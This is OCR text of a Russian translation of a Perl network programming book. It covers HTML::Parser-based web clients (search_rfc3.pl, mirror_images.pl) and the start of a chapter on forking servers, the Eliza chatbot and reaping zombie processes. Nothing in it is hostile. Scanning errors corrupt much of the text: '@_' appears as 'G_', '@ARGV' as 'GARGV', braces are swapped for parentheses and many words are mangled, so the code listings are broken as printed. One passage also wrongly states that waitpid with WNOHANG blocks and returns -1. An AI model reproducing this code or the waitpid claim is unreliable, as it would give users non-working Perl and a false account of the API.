j $result =;.|fparser->i>arse (Sdata)
j.. $parser->eof
t Методы parsevfilet),, parsed) и eof'() действуют гточне.'так ft)Kej как-в:, модуле
Штм1/;ifcTreeBuffiiefcЕйли^ри^выполнении кода.обработчика1события возникает необходимость!
преждевременно завершить синтаксический анализ, в обработчике события может быть вызван ме- 1
TOflS f <) объекта синтаксического анализатора.
Глава 9. Web-клиенты
299
Для дополнительной настройки работы синтаксического анализатора могут
применяться следующие два метода.
| $Ьоо1 =''$parser->uribroken_tesct (fSbool]) |
; При обработке фрагментов текста информационного наполнения модуль HTML:: Parser обычно I
I передает их обработчику события text no одному, разбивая текст по словам. Если в качестве
параметра вызова метода unbroken_text () будет указано истинное значение, это правило поведения \ |
изменится' и весь .текст между двумя тегами будет передаваться обработчику в одной операции, что ;
позволяет упростить некоторые операции сопоставления с образцом. f
$bool — $parser->xml_mode([Sbool]) ,
1\/1етод xm:_mode() позволяет перевести синтаксический диализатор в!режим, с совместимый ',
с документами XML. Это приводит к двум важным последствиям. Во-первых, становится допустимой
конструкция пустого элемента <tagname />. При обнаружении подобного элемента синтаксический ;
анализатор вырабатывает даа события: start и end.
Во-вторых, в режиме XML отменяется автоматическое преобразование имен тегов и атрибутов '
в нижний регистр. Это связано с тем, что код XML, в отличие от HTML, чувствителен к регистру. ;
Сценарий search_rfc.pl на основе модуля
HTML: Parser
Теперь рассмотрим вариант сценария search_rfc.pl (листинги 9.7 и 9.8), в
котором применяется модуль HTML:: Parser. Вместо использования для поиска номеров
RFC в документе, полученном в ответ на поисковый запрос, операторов сопоставления
с образцом, будут установлены обработчики событий для обнаружения
соответствующих частей документа, извлечения необходимой информации и вывода результатов.
Напомним, что данные о документах RFC оформлены в виде упорядоченного
списка (<0L>) и имеют следующий формат.
<0L>
<LIXA HREF="refl">rfc name 1</A> - <STRONG>description K/STRONO
<LIXA HREF="ref2">rfc name 2</A> - <STRONG>description 2</STRONG>
</OL>
Синтаксический анализатор должен извлечь и вывести на стандартное устройство
вывода текст, расположенный внутри тех элементов <А> и <STROnG>, которые находятся
в разделе <0L>. Текст из других частей документа, даже тот, который находится в других
элементах <А> и <STRONG>, не должен рассматриваться. Общий замысел состоит в том,
чтобы обработчик события start обнаруживал появление тега <0L> и устанавливал
обработчик события text для перехвата и вывода всех последующих элементов <А>
и <STRONG>. Обработчик события end должен обнаруживать тег </0L> и удалять
обработчик события text, чтобы исключить вывод на устройство выводадругого текста.
Новая версия этого сценария с именем search_rf сЗ. pi приведена в листинге 9.17.
Листинг 9.17. енарий search_r f сЗ. pi
0: #!/usr/local/bin/perl -w
1: # Файл: search_rfc3.pl
2: use strict;
3: use LWP;
300
Часть П. Разработка клиентов для основных служб
4: use HTTP::Request::Common;
5: use HTML::Parser;
6: use constant
RFC_SEARCH => 'http://www.faqs.org/cgi-bin/rfcsearch';
7: use constant RFC_REFERER => 'http://www.faqs.org/rfcs/';
8: die "Usage: rfc_search2.pl terml term2 \n" unless GARGV;
9: my $ua = LWP::UserAgent->new;
10: my $newagent = *search_rfc/l.О С . $ua->agent .')';
11: $ua->agent($newagent);
12: my $search_terms = "GARGV";
13: my $request = POST ( RFC_SEARCH,
14: [ query => $search_terms,
15: archive => 'rfcindex'
16: ],
17: Referer => RFC_REFERER
18: );
19: my $parser = HTML::Parser->new(api_version => 3);
20: $parser->handler(start => \&start, 'self,tagname');
21: my $response =
$ua->request($request,sub {$parser->parse(shift)} );
22: $parser->eof;
23: die $response->message unless $response->is_success;
24: # Подпрограммы обратного вызова синтаксического
# анализатора
25: sub start (
26: my ($parser,$tag) = G_;
27: $parser->{last_tag} = $tag;
28: return unless $tag eq 'ol';
29: $parser->handler(text => \&extract, 'self,dtext');
30: $parser->handler(end => \&end, 'self,tagname');
31: }
32: sub end {
33: my ($parser,$tag) = G_;
34: undef $parser->{last_tag};
35: return unless $tag eq 'ol';
36: $parser->handler(text => undef);
37: $parser->handler(end => undef);
38: )
39: sub extract {
40: my ($parser,$text) = G_;
41: $text =~ s/~\s+//;
42: $text =~ s/\s+$//;
43: print $text,"\t" if $parser->{last_tag) eq 'a';
44: print $text,"\n" if $parser->{last_tag} eq 'strong';
45: }
Глава 9. Web-клиенты
301
Проведем анализ программы.
• Строки 1-5. Загрузка модулей. Кроме модулей LWP и HTTP: -.Request::Common, загружается
модуль HTML:: Parser.
• Строки 6-18. Настройка режима поиска. Создается объект lwp: :userAgent и новый объект
HTTP:: Request так же, как и в предыдущей версии этого сценария.
• Строки 19, 20. Создание объекта HTML::Parser. Создается новый объект HTML::Parser
версии 3 и устанавливается обработчик события start. Обработчиком является
подпрограмма start (), которая будет получать копию объекта синтаксического анализатора и имя тега.
• Строки 21, 22. Выдача запроса и синтаксический анализ. Для обработки запроса
вызывается метод request!) агента пользователя. Как и в сценарии print_links.pl (листинг
9.16), в качестве второго параметра метода request!) используется ссылка на код, чтобы
можно было приступить к обработке входящих данных сразу после их появления. В зтом
случае ссылка на код представляет собой анонимную подпрограмму, которая вызывает метод
parse () синтаксического анализатора.
После завершения обработки запроса вызывается метод eof () синтаксического анализатора
для выполнения заключительных действий.
• Строка 23. Предупреждение об аварийных ситуациях. Если метод is_success () объекта
ответа возвращает ложное значение, вызывается функция die с сообщением об ошибке. В ином
случае не предпринимается никаких действий; за извлечение из документа и вывод необходимой
информации отвечают подпрограммы обратного вызова синтаксического анализатора.
• Строки 24-31. Подпрограмма start О. Данная подпрограмма представляет собой
подпрограмму обратного вызова для события start. Она вызывается каждый раз при обнаружении
синтаксическим анализатором тега start. Выполнение подпрограммы начинается с
извлечения объекта синтаксического анализатора и имени тега из стека. Этот тег нужно сохранить
в памяти для использования в дальнейшем, при обработке текста, поэтому он записывается
в стеш объекта синтаксического анализатора лод ключом lasttag. (Документация POD
модуля HTML::Parser содержит информацию о том, что объект синтаксического анализатора
оформлен в виде ссылки на хеш, включенной в пространство имен, и в ней дано специальное
указание на то, что информация должна записываться в этот объект именно так.)
Если полученный тег отличен от "ol", не предпринимается никаких действий и просто
выполняется возврат. В ином случае устанавливаются два новых обработчика: обработчик события
text, которому передается объект синтаксического анализатора и декодированный текст,
и обработчик события end, которому, как и в случае обработчика start (), передается объект
синтаксического анализатора и имя конечного тега.
• Строки 32-38. Подпрограмма end(). Эта подпрограмма представляет собой обработчик
события end. Она начинается с выборки информации, записанной в объекте синтаксического
анализатора под ключом last_tag. Если конечный тег отличен от "ol", не выполняются
никакие действия и просто происходит возврат. В ином случае значения обработчиков событий
text и end устанавливаются равными uncle f, т.е. происходит их отмена.
• Строки 39-45. Подпрограмма extract (). Подпрограмма extract () — это обработчик
события text; именно она извлекает и выводит результаты поиска. В стеке вызова этой
подпрограммы находится копия объекта синтаксического анализатора и декодируемый текст. После изъятия
из текста пробельных символов проверяется значение последнего тега, хранящееся под ключом
last_tag в объекте синтаксического анализатора. Если последним тегом является "а", то
происходит обработка элемента <а>, содержащего номер RFC. Выводится этот текст, а затем —
символ табуляции. Если последним тегом является "strong", то происходит обработка раздела
документа, содержащего название RFC. Выводится это название, а затем символ конца строки.
Новая версия сценария search_rfc.pl более чем в два раза превышает по объему
первоначальную, но в ней нет никаких новых средств. Для чего же она нужна? В данном
случае полномасштабный синтаксический разбор документа с результатами поиска
является роскошью. Однако иногда приходится выполнять синтаксический анализ
сложного документа HTML, и регулярные выражения становятся слишком громоздкими.
В этих случаях модуль HTML:: Parser позволяет значительно упростить работу.
302
Часть II. Разработка клиентов для основных служб
Получение изображений с удаленного сервера
noURL
Для увязки всей информации, представленной в этой главе, рассмотрим
последний пример — приложение, которое создает зеркальную копию всех изображений из
документа HTML, находящегося по указанному URL. Получив список из одного или
нескольких URL из командной строки, сценарий mirror_images.pl выполняет
выборку каждого документа, проводит его синтаксический анализ для поиска всех
встроенных изображений, а затем копирует эти изображения в текущий каталог с
использованием метода mirror (). Для поддержки зеркальной копии изображений
в актуальном состоянии этот сценарий можно выполнять неоднократно.
По мере выполнения этот сценарий выводит имя файла изображения, в
котором оно хранится на локальном компьютере. Например, ниже показано, какие
результаты получены после того, как в вызове этого сценария был задан адрес
http://www.yahoo.com.
% roirror_lmages.pl http://www.yahoo.com
m5v2.gif: OK
mes sengerpromo.gi f: OK
sm.gif: OK
После выполнения этого сценария второй раз без перерыва были получены три
сообщения "Not Modified". Код этого сценария полностью приведен в листинге 9.18.
ЛИСТИНГ 9.18. Сценарий mirror_images.pl
0: #!/usr/local/bin/perl -w
1: # Файл: mirror_images.pl
2: use strict;
3: use LWP;
4: use PromptUtil;
5: use HTTP::Cookies;
6: use HTML::Parser;
7: use URI;
8: use vars '@ISA';
9: GISA = 'LWP::UserAgent';
10: my $agent = PACKAGE ->new;
11: $agent->cookie_jar(HTTP::Cookies->new(file=
>"$ENVfHOME}/.lwp-cookies",autosave=>l));
12: while (my $url = shift) {
13: my $request = HTTP::Request->new(GET => $url);
14: my $parser = HTML::Parser->new(api_version => 3);
15: $parser->handler(start => \&start,* self,tagname,attr*);
16
17
18
19
my $response = $agent->request($request,
sub {
my ($data,$response,$protocol) = @_;
die "Not an HTML file\n"
unless $response->content_type eq •text/html";
Глава 9. \Уе1мслиенты
303
20
21
22
23
24
38
39
40
41
42
43
44
45
46
$parser->{base} I|= $response->base;
$parser->{agent} ||= $agent;
$parser->parse($data);
}
);
25: warn "$url: ",$response->header('X-Died'),"\n"
if $response->header('X-Died');
26: warn "$url: ",$response->message,"\n"
if !$response->is_success;
27: )
28: sub start {
29: my ($parser,$tag,$attr) = @_;
30: return unless $tag eq 'img';
31: return unless my $url = $attr->{src};
32: # Использовать этот класс URI для преобразования
# относительных ссылок
33: my $remote_name = URI->new_abs($url,$parser->{base});
34: my ($local_name) = $url =~ m!(["/]+)$!;
35: my $response =
$parser->{agent}->mirror($remote_name,$local_name),
36: print STDERR "$local_name: ",$response->message,"\n";
37: )
sub get_basic_credentials {
my ($self,$realm, $uri) = G_;
print STDERR
"Enter username and password for realm \"$realm\".\n"
print STDERR "username: ";
chomp (my $name = <>);
return unless $name;
my $passwd = get_passwd();
return ($name,$passwd);
}
Проведем анализ программы.
Строки 1-7. Загрузка модулей. Включена строгая проверка синтаксиса и загружены модули
LWP, Promptutil, HTTP::Cookies, HTML::Parser и URI. Последний модуль применяется
для преобразования относительных URL в абсолютные.
Строки 8-11. Создание объекта агента пользователя. Снова применяется прием с
созданием подкласса класса LWP: :UserAgent для перекрытия метода get_basic_credentials().
Объект агента пользователя сохраняется в переменной $ agent. Для работы с некоторыми
удаленными узлами могут потребоваться файлы cookie HTTP, поэтому объект
HTTP::Cookies инициализируется путем создания файла в рабочем каталоге и передается
методу cookiejar О объекта агента пользователя. Это обеспечивает в сценарии
автоматический обмен информацией cookie с удаленными узлами.
Строки 12-15. Создание объекта запроса и объекта синтаксического анализатора.
Открывается цикл, в котором с помощью оператора shift происходит получение URL из
командной строки и их обработка. Для каждого URL создается новый запрос get с
использованием метода HTTP: :Request->new() и объект HTML:: Parser для синтаксического анализа
поступающего документа.
В качестве обработчика события start, активизируемого в процессе синтаксического анализа,
устанавливается подпрограмма start (). Этот обработчик получает копию объекта
синтаксического анализатора, имя начального тега и ссылку на хеш, содержащий атрибуты тега и их
значения.
304
Часть П. Разработка клиентов для основных служб
■ Строки 16-24. Выдача запроса. Вызывается метод request () объекта агента пользователя,
что приводит к созданию объекта ответа. Как и в последнем примере, в качестве второго
параметра вызова метода request () передается ссылка на код, поэтому объект агента
пользователя передает входящие данные этой подпрограмме по мере их поступления.
В этом случае ссылка на код представляет собой анонимную подпрограмму. Вначале
происходит проверка того, имеет ли объект ответа тип MIME text /html. Если это не так, вызывается
функция die с сообщением об ошибке. Это не приводит к аварийному завершению всего
сценария в целом, но вызывает аварийное прекращение обработки текущего URL и запись
сообщения об ошибке в специальное поле заголовка ответа X-Died:.
В ином случае входящий документ может быть подвергнут синтаксическому анализу как файл
HTML Обработчику для этого необходимо два фрагмента дополнительной информации:
базовый URL текущего объекта ответа для преобразования относительных URL в абсолютные
и объект агента пользователя, с помощью которого можно будет выдавать запросы на
получение встроенных изображений. Применяется тот же метод, что и в листинге 9.17, и эта
информация записывается в стеш с использованием ссылки на хеш синтаксического анализатора.
■ Строки 25-27. Предупреждение об аварийных ситуациях. После завершения обработки
запроса вызывается объект ответа для проверки наличия поля заголовка X-Died: и, если оно
имеется, выдается предупреждающее сообщение. Аналогичным образом выводится
сообщение с кодом состояния ответа, если метод is_success () возвращает ложное значение.
• Строки 28-37. Обработчик start О. Подпрограмма start () вызывается синтаксическим
анализатором для обработки начальных тегов. В соответствии со списком параметров,
передаваемым методу handler(), эта подпрограмма получает копию объекта синтаксического
анализатора, имя текущего тега и ссылку на хеш, содержащий атрибуты тега.
Выполняется проверка того, происходит ли обработка тега <img>. Если нет, осуществляется
возврат без каких-либо дальнейших действий. Затем проверяется, определен ли атрибут src
тега, и, если это так, атрибут копируется в локальную переменную.
Атрибут src содержит URL встроенного изображения и может представлять собой полный
URL типа http://wvsrw.yahoo.ccm/images/inessengerpromo.gif или относительный URL
наподобие images/messengerpromo.gif. Для выборки .данных источника изображения
необходимо преобразовать относительные URL в абсолютные, чтобы их можно было запросить
через агента пользователя ьир. Необходимо также сформировать имя файла на локальном
компьютере, в котором будет записана копия изображения.
Модуль URI позволяет значительно упростить задачу преобразования относительных URL в
абсолютные. Метод URi->new_abs () принимает в качестве параметра относительный и базовый URL,
а затем формирует полный URL. Для получения базового URL документа, содержащего
изображение, выполняется его выборка по ключу 'base" из хеша синтаксического анализатора, куда он был
записан ранее. Эта информация передается методу newabs () наряду с URL изображения (строка
33) для получения полного URL Если URL уже был полным, вызов метода newabs () его не
искажает, поскольку метод обнаруживает это и возвращает URL в неизменном виде.
Формирование имени файла на локальном компьютере сводится к извлечению той части пути
доступа к файлу, которая относится к имени файла (строка 34); при этом для извлечения
самого правого компонента URL изображения выполняется сопоставление с образцом.
Теперь вызывается метод mirror () объекта агента пользователя для копирования файла
изображения с удаленного компьютера в локальную файловую систему и выводится
сообщение с кодом состояния. Обратите внимание, что копия объекта агента пользователя получена
из ссылки на хеш синтаксического анализатора. Это исключает необходимость создания
нового объекта агента пользователя.
• Строки 38-46. Метод get_basic_credentials (). Этот метод аналогичен применяемому
в предыдущих версиях.
Сценарий roirror_images. pi в том виде, в каком он есть, имеет небольшой
недостаток. Зеркальные копии всех изображений записываются в один и тот же каталог. Не
предпринимается попытка обнаружить совпадение имен изображений не только на
разных узлах, но даже на одном и том же узле, что может произойти после удаления
информации о пути доступа к изображению (конфликт имен может, например,
возникнуть при создании зеркальных копий изображений с именами /images/whats_new. gif
и /news /hot_news /whats_new.gif, расположенных на удаленном сервере).
Глава 9. Web-клиенты
305
Чтобы сделать этот сценарий универсальным, можно предусмотреть запись
каждого изображения в отдельный подкаталог, названный по имени удаленного
хоста и повторяющий путь к файлу изображения на данном узле. Это можно
выполнить относительно просто, объединив методы host () и path () модуля URI
с функциями dirname () и mkpath (), импортируемыми из модулей File: : Path
и File: :Basename. Соответствующий раздел подпрограммы start () теперь
должен выглядеть примерно так:
use File::Path 'mkpath';
use File::Basename 'dirname' ;
sub start {
my $remote__name = URI->new_abs ( $url, $parser->{base});
my $local_name = $remote_name->host ^ $remote_name->path;
mkpath (dirname ($local_name), 0, 0711) ; '■
}
Теперь при выборке изображения с URL http://www.yahoo.com/images/
whats_new. gif зеркальная копия файла этого изображения будет записана в
подкаталоге www.yahoo.com/images.
Резюме
Модуль LWP позволяет создавать сценарии, которые действуют как клиенты World
Wide Web. Они предоставляют возможность считывать Web-страницы, моделировать
отправку на сервер заполняемых форм и легко решать задачи использования более
сложных средств протокола HTTP, таких как обработка файлов cookie и проверка
подлинности пользователя.
Модули HTML: : Formatter и HTML:: Parser дополняют библиотеку LWP и
предоставляют возможность форматировать и интерпретировать файлы HTML. Эти модули
позволяют преобразовывать код HTML в простой текст или в текст PostScript,
предназначенный для печати, и извлекать из файлов HTML интересную информацию, не
пользуясь регулярными выражениями, при работе с которыми трудно избежать
ошибок. Дополнительным преимуществом модуля HTML: : Parser является то, что он
позволяет интерпретировать код XML.
В одной главе просто невозможно рассмотреть все средства модуля LWP. Об этом
модуле можно больше узнать, изучив сценарии lwp-request, lwp-download, lwp-rget
и другие примеры, которые входят в его поставку.
306 Часть II. Разработка клиентов для основных служб
Часть
Разработка
систем TCP типа
клиент/сервер
В следующих семи главах рассматривается процесс создания
современных сетевых служб на основе протокола TCP. Здесь
продемонстрирован ряд реальных приложений и описаны
различные требования, которые необходимо учитывать при выборе
архитектуры сервера.
Глава [jo)
Серверы с ветвлением
и демон inetd
Простые серверы TCP, разработанные в главах 4 и 5 (листинги 4.2 и 5.3), имеют
несложную структуру, однако обладают одним существенным недостатком. Эти сер
веры не могут обслуживать одновременно несколько клиентов. Пока с сервером
работает один клиент, другие должны ожидать подключения .
Серверы, действующие по принципу установления логического соединения,
должны предоставлять клиентам совместный доступ к своим средствам ввода-
вывода, обеспечивая одновременное обслуживание многочисленных сеансов по
тому или иному принципу. В настоящей главе описаны методы, позволяющие
выполнить это требование.
Стандартные методы одновременного
обслуживания нескольких соединений
В течение многих лет сетевые программисты создали ряд стандартных методов
для одновременного выполнения операций ввода-вывода сразу в нескольких
соединениях. Эти методы различаются по своей сложности. Они могут представлять собой
элементарные приемы, которые требуют добавления лишь нескольких строк в
основную программу сервера, или очень развитые технологии, требующие значительного
увеличения объема кода.
К сожалению, возможность реализации этих методов полностью зависит от
особенностей выполнения ввода-вывода в самой операционной системе, а система ввода-
вывода, как известно, изменяется от одной платформы к другой. Поэтому некоторые
методы, описанные в данной книге, могут быть реализованы только в системах UNIX.
Ниже описаны три основных метода ( начиная от самого простого и заканчивая
наиболее сложным), в которых, соответственно, используются мультипроцессный,
многопоточный и мультиплексный серверы.
Строго говоря, другие клиенты подключаются к серверу, но операционная система ставит их в очередь,
пока серверный сценарий не вызовет функцию accept (). Никакой ввод-вывод не может быть выполнен до тех
пор, пока сервер не закончит обслуживание прёдыоуицего соединения.
308 Часть III. Разработка систем TCP типа клиент/сервер
Мультипроцессный сервер
Рассматриваемый сервер такого типа основную часть времени тратит на
выполнение цикла accept (). После приема каждого входящего запроса на создание нового
соединения сервер выполняет ветвление, создавая идентичный себе дочерний
процесс. Задача выполнения ввода-вывода в дочернем соединении возлагается на
дочерний процесс, а родительский процесс продолжает слушать порт для приема новых
входящих соединений (рис. 10.1). После того как дочерний процесс заканчивает
обработку соединения, он просто прекращает свое существование.
В сервере с ветвлением одновременная работа родительского и дочернего
процессов обеспечивается благодаря поддержке многозадачности в операционной
системе. В любой момент времени в системе существует один родительский процесс,
а также нуль и более дочерних процессов, причем каждый дочерний процесс
занимается обслуживанием отдельного клиентского соединения.
Этот способ организации работы может применяться на тех платформах, где
реализована функция fork (). Эта функция имеется во всех версиях Perl для UNIX,
а также в версиях 5.6 и последующих версиях на платформах Win32. В версии Perl для
Macintosh функция fork () в настоящее время не поддерживается.
Клиент
Сервер
Клиентский
сокет
Входящее соединение
Приемный
сокет
accept()
Приемный
сокет
Клиентский
сокет
Установленное соединение
Подключенный
сокет
Цикл приема
fork()
Дочерний процесс
Клиентский
сокет
Клиентский
сокет
Установленное соединение
-< »-
Установленное соединение
Подключенный
сокет
close({listen)
Подключенный
сокет
exit()
Родительский процесс
Подключенный
сокет
close(Sconnected)
Приемный
сокет
Рис. 10.1. Мультипроцессный сервер
Глава 10. Серверы с ветвлением и демон inetd
309
Частным случаем многозадачного сервера является так называемый "супердемон"
inetd, который может применяться для одновременного запуска нескольких
экземпляров простой серверной программы; при этом сам сервер почти не требует
доработки. Демон inetd будет рассмотрен в конце этой главы.
Многопоточный сервер
Более сложным способом организации одновременного обслуживания клиентов
является многопоточная обработка. В основе этого способа лежат те же принципы,
что и в описанном выше способе, поскольку сервер вызывает функцию accept ()
в непрерываемом цикле. Каждый раз, когда функция accept () возвращает
подключенный сокет, сервер запускает новый поток выполнения для обслуживания
клиентского сеанса. Потоки аналогичны процессам, но они совместно используют одни и те
же ресурсы памяти и другие ресурсы с родительским процессом. После завершения
работы поток уничтожается. В этой модели применяется несколько одновременно
работающих потоков выполнения: один обслуживает основной цикл accept (), а
другие — клиентские сеансы.
Данный способ реализован в версиях Perl, начиная с 5.005, и только на тех
платформах, которые поддерживают потоки. Потоки поддерживаются в версиях Perl для
Windows, как и во многих (но не во всех) версиях Perl для UNIX. Дистрибутив MacPerl
в настоящее время не поддерживает многопоточную обработку. (Многопоточная
обработка рассматривается в главе 11.)
Мультиплексный сервер
Наиболее сложный способ предусматривает использование функции
select () для переключения между сеансами связи. В его основе лежит тот факт,
что быстродействие сети гораздо ниже быстродействия процессора; сетевой
сервер основную часть времени проводит в ожидании того, когда сокет будет готов
для чтения или записи.
В данном случае сервер создает и сопровождает пул дескрипторов файлов; один из
этих дескрипторов файлов относится к приемному сокету и по одному дескриптору
файла получает каждый подключенный клиент. При каждом проходе по циклу сервер
проверяет сокеты с использованием функции select () для определения того, какие
из них готовы для чтения и записи. Обнаружив такой сокет, сервер выполняет для
него операцию ввода-вывода, а затем снова переходит к ожиданию поступления новых
запросов от функции select ().
Функция select () реализована на всех основных платформах Perl. К
сожалению, этот способ является самым сложным, когда речь идет о создании
безошибочно работающей серверной программы. Мультиплексирование будет описано
в главах 12 и 13.
На основе этих трех способов создан ряд других методов, включая выполнение
предварительного ветвления, создание пулов потоков и применение
неблокирующего ввода-вывода. Кроме них, существуют менее распространенные способы
обеспечения одновременной работы, в том числе ввод-вывод, управляемый сигналами,
асинхронный ввод-вывод и др. Эти способы здесь не рассматриваются; дополнительная
информация о них приведена в [15].
310
Часть III. Разработка систем TCP типа клиент/сервер
Основной рабочий пример -
психотерапевтический сервер
В основном рабочем примере, рассматриваемом в настоящей и двух следующих
главах, используется модуль Chatbot::Eliza. Это— разработанная Джоном Нола-
ном (John Nolan) с применением исключительно только средств языка Perl
замечательная имитация классической программы Джозефа Вейценбаума (Joseph
Weizenbaum), моделирующей работу психотерапевта. Модуль Chatbot: :Eliza
действует очень просто. Он принимает строку ввода от пользователя, преобразует ее
в соответствии с тщательно продуманным набором правил преобразования и
возвращает пользователю полученный результат в форме ответа. В результате у
пользователя создается впечатление, что он беседует с психоаналитиком школы Фрейда, правда,
немного напоминающим робота.
Модуль Chatbot: :Eliza может быть получен из архива CPAN. Он очень прост
в использовании. Модуль загружается, создается новый объект Chatbot:: Eliza
с помощью метода new (), а затем вызывается метод command_interfасе () объекта.
Этот метод проводит диалог с пользователем, считывая данные со стандартного
устройства ввода и выводя свои ответы на стандартное устройство вывода. Для
проведения психотерапевтического сеанса достаточно вызвать на выполнение строки кода,
приведенные в листинге 10.1.
• Листинг 10.1. Программа Elizaj: интерфейсом кома - ой строки
0: #!/usr/local/bin/perl -w
1: # Файл: eliza.pl
2: use Chatbot::Eliza;
3: $1 = 1;
4: my $bot = Chatbot::Eliza->new;
5: $bot->coitimand interface();
Проведем анализ программы.
• Строки 1, 2. Загрузка модуля. Загружается модуль Chatbot: .-Eliza.
• Строка 3. Включение режима автоматического сброса. Включается режим автоматического
сброса для устройства stdout, чтобы данные после каждого вызова функции print ()
поступали не в буфер, а немедленно выводились на стандартное устройство вывода. Это не
требуется для версии программы, работающей с командной строкой, однако необходимо для
серверной версии.
• Строка 4. Создание нового объекта chatbot::Eliza. Вызывается метод chatbot::
Eliza->new () для создания нового объекта $bot.
■ Строка 5. Вход в цикл ввода-вывода объекта chatbot. Теперь вызывается метод
commandinterfасе () объекта chatbot- Этот метод запускает простой цикл ввода-вывода,
который выводит приглашение к вводу, принимает строку, введенную пользователем,
преобразует ее в высказывание "психихоаналитика", а затем переходит в начало.
Ниже приведена распечатка диалога с программой El i za (в иных обстоятельствах
может произойти другой диалог).
Глава 10. Серверы с ветвлением и демон inetd
311
% eliza.pl
Eliza: Hello, I am a computer program.
you: I am a human being.
Eliza: How long have you been a human being?
you: About 39 years.
Eliza: That is interesting. Please continue.
you: It started when I was born...
Eliza: Why do you tell me you were born now?
you: Because you asked.
Eliza: We were discussing you — not me.
you: bye
Eliza: Goodbye. It was nice talking to you.
Для этого психотерапевтического приложения, реализованного в виде сервера,
требуется интерфейс с установлением логического соединения, поскольку
взаимодействие между клиентом и сервером является непрерывным и с каждым
соединением связано определенное состояние. Объект Chatbot: : Eliza ведет протокол
диалога и строит свои высказывания на основе предыдущих утверждений пользователя.
Психотерапевтическое приложение,
реализованное в виде
мультипроцессного сервера
Теперь эта психотерапевтическая программа должна быть реализована в виде
сетевого сервера с ветвлением. Однако перед этим необходимо обсудить проблемы,
связанные с уничтожением дочерних процессов в серверах с ветвлением на основе UNIX. Это
не относится к серверам, работающим в версиях Perl для Microsoft Windows.
'Зомби1
В этой книге уже встречалась функция fork (). В главе 2 она применялась в
простом примере для распределения вычислительной нагрузки по двум дочерним
процессам (листинг 2.5), а в главе 5 с ее помощью мы пытались решить проблемы
синхронизации и взаимоблокировки в сценарии gab2. pi (листинг 5.6).
Эти примеры отличаются от примеров сервера с ветвлением, рассматриваемого
в данной главе, в основном тем, что в серверном приложении и родительский, и
дочерний процессы являются более продолжительными. В предыдущих примерах
родительский процесс недолго существовал после уничтожения своих дочерних процессов. Он
завершал свою работу вскоре после того, как прекращалась работа дочерних процессов.
Однако в серверах с ветвлением родительский процесс существует очень долго.
Например, Web-серверы работают без перерыва месяцами. С другой стороны, дочерние
процессы существуют только в течение работы клиентского соединения, и серверный
процесс на протяжении своего существования может породить тысячи дочерних
процессов. При таких обстоятельствах проблема "процессов зомби" (уничтоженных
процессов, не исключенных из системных таблиц) становится очень важной.
После вызова функции f ork () родительский и вновь созданный дочерний процессы
являются почти полностью свободными в своих действиях. Система UNIX почти не
поддерживает связи между этими двумя процессами. Если дочерний процесс завершает рабо-
312
Часть III. Разработка систем TCP типа клиент/сервер
ту, прежде чем родительский, то дочерний процесс не исчезает, а остается в системной
таблице процессов в застывшей форме, известной как "зомби" (zombie). Процесс зомби
остается в таблице только с той целью, чтобы иметь возможность сообщить
родительскому процессу свой код состояния выхода, когда родительский процесс запросит это с
помощью вызова wait () или waitpid (), после чего он исчезает; такую операцию запроса
кода результата выполнения дочернего процесса называют "уборкой" (reaping). Это—
ограниченная форма межпроцессной связи, которая позволяет родительскому процессу
узнать, завершился ли запущенный им процесс успешно, а если нет, то почему.
Если родительский процесс создает путем ветвления много дочерних процессов
и вовремя их не убирает, то зомби-процессы накапливаются в таблице, создавая
своего рода сюжет из "Мертвых душ", в котором целые списки заполняются
несуществующими крепостными. В конечном итоге родительский процесс выходит за пределы
налагаемых системой ограничений на число подпроцессов, которые могут быть им
запущены, и последующие вызовы функции fork () завершаются аварийно.
Во избежание этого любая программа, в которой применяется функция fork (),
должна время от времени вызывать функции wait () или waitpid () и убирать свои
дочерние процессы. Однако это желательно выполнять сразу после завершения
работы каждого дочернего процесса.
В системе UNIX предусмотрена удобная возможность своевременно вызывать
функции wait () или waitpid(), поскольку в этой системе вырабатывается сигнал
CHLD. Данный сигнал отправляется родительскому процессу при каждом изменении
состояния любого из его дочерних процессов. К возможным изменениям состояния
относится завершение работы дочернего процесса (нас интересует именно этот
случай), а также приостановка выполнения дочернего процесса по сигнал}' STOP. Сигнал
CHLD не предоставляет никакой информации, а только констатирует тот факт, что
изменилось состояние какого-то дочернего процесса. Родительский процесс должен
вызвать функцию wait() или waitpid(), чтобы определить, к какому дочернему
процессу относится эта информация и что с ним произошло, если состояние одного
из дочерних процессов действительно изменилось.
\ $pid = waitX)
{ Эта функция ожидает завершения работы любого дочернего процесса, й'затем возвращает его
| Pit). Если нет ни одУюго дочернего процесса, непосредственно готового для уборки, итог вызов за-
j висает (блокируется) до тех пор, пока такой процесс не появится. «*"
й*й Если нужно Определить; произошло ли нормальное завершение работы дочернего процесса или он
; завершился из-за ошибки, можно исследовать специальную переменную $?, которая содержит код со-"
f стояния выхода дочернего процесса. Значение этого кода, равное О, указывает, что дочерний процесс
] завершился нормально. Любые другие значения указывают на аварийное завершение. Информация
Готом, как интерпретировать содержимое переменной.$?, приведена в документе POD perlvar.,
f $pid = waitpid ($pid,$flags) \ ' ^ ^ >! j:
Ч> й Эта версия функции уборки ожидает завершения работы конкретного дочернего процесса й воз- -■-
'"'вращает его идентификатор, помещая код состояния выхода в переменную $?. Если дочерний про-ч
j цесс с идентификатором $pid на двнный момент не доступен для уборки, то функция Waitpid (}
! блокируется, пока он не станет таковым. Для обеспечения .ожидания доступности любого дочернего
j процесса с помощью этой функции, как и с помощью функции wait О, можно установить значение '
параметра $pld, равное*-1". ■■ ' "■
Поведение функции waitpid () можно изменить с помощью параметра $flags.
В группе : sys_wait_h стандартного модуля POSIX определен ряд удобных констант,
которые могут быть объединены с помощью поразрядного оператора "ИЛИ" для ис-
Глава 10. Серверы с ветвлением и демон inetd 313
пользования их в сочетании друг с другом. Наиболее часто применяется флажок
WNOHANG, который переводит функцию waitpid () в неблокирующий режим. Функция
waitpid () возвращает PID дочернего процесса, если он имеется. Если же нет ни
одного доступного дочернего процесса, эта функция возвращает значение -1 и блокируется,
ожидая его появления. Иногда возникает также необходимость в использовании
флажка WUNTRACED, который указывает функции waitpid (), что она должна вернуть
идентификаторы PID не только завершившихся, но и остановленных дочерних процессов.
"Уборка" дочерних процессов в обработчике
сигнала CHLD
Стандартным способом уборки дочерних процессов в серверах Perl является
установка обработчика сигнала CHLD. Следующий фрагмент кода можно встретить во
многих серверных сценариях.
$SIG{CHLD} = sub { wait(); }
Смысл этого оператора сводится к тому, что функция wait () вызывается каждый
раз, когда сервер получает сигнал CHLD, после чего соответствующий дочерний
процесс немедленно убирается из таблицы процессов, а код результата игнорируется. Как
правило, этот оператор выполняется успешно, но иногда его работа нарушается,
например при останове или перезапуске дочернего процесса по сигналу. В этом случае
